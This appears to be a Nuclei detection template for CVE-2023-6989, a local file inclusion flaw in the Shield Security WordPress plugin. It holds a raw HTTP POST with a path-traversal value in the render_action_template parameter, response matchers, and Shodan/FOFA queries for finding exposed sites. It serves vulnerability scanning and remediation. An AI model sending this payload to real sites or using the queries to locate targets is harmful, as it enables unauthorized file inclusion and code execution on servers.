id: CVE-2023-6989

info:
  name: Shield Security WP Plugin <= 18.5.9 - Local File Inclusion
  author: s4e-io
  severity: critical
  description: |
    The Shield Security Smart Bot Blocking & Intrusion Prevention Security plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 18.5.9 via the render_action_template parameter. This makes it possible for unauthenticated attacker to include and execute PHP files on the server, allowing the execution of any PHP code in those files.
  impact: |
    Unauthenticated attackers can exploit local file inclusion via render_action_template to execute arbitrary PHP code, potentially compromising the entire WordPress installation.
  remediation: |
    Update Shield Security plugin to version 18.5.10 or later.
  reference:
    - https://wpscan.com/vulnerability/a485aee7-39a0-418c-9699-9afc53e28f55/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6989
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6989
    cwe-id: CWE-22
    epss-score: 0.65784
    epss-percentile: 0.98524
    cpe: cpe:2.3:a:getshieldsecurity:shield_security:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: getshieldsecurity
    product: shield_security
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-simple-firewall
    fofa-query: body=/wp-content/plugins/wp-simple-firewall
    publicwww-query: "/wp-content/plugins/wp-simple-firewall"
  tags: wpscan,cve,cve2023,wp,wordpress,wp-plugin,lfi,shield-security,getshieldsecurity,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=shield_action&ex=generic_render&exnonce=5a988a925a&render_action_template=../../icwp-wpsf.php

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"dashboard_shield"'
          - '"shield_action"'
          - '"search_shield"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a1a1caf6cc3562ca4829a54f42738e1cdde2fd2d6d4de39cfaeb9ed52913474a0220283ee9a045e25468af289084b5b937be070dafdc6a4f7b51177820d36003b54e:922c64590222798bb761d5b6d8e72950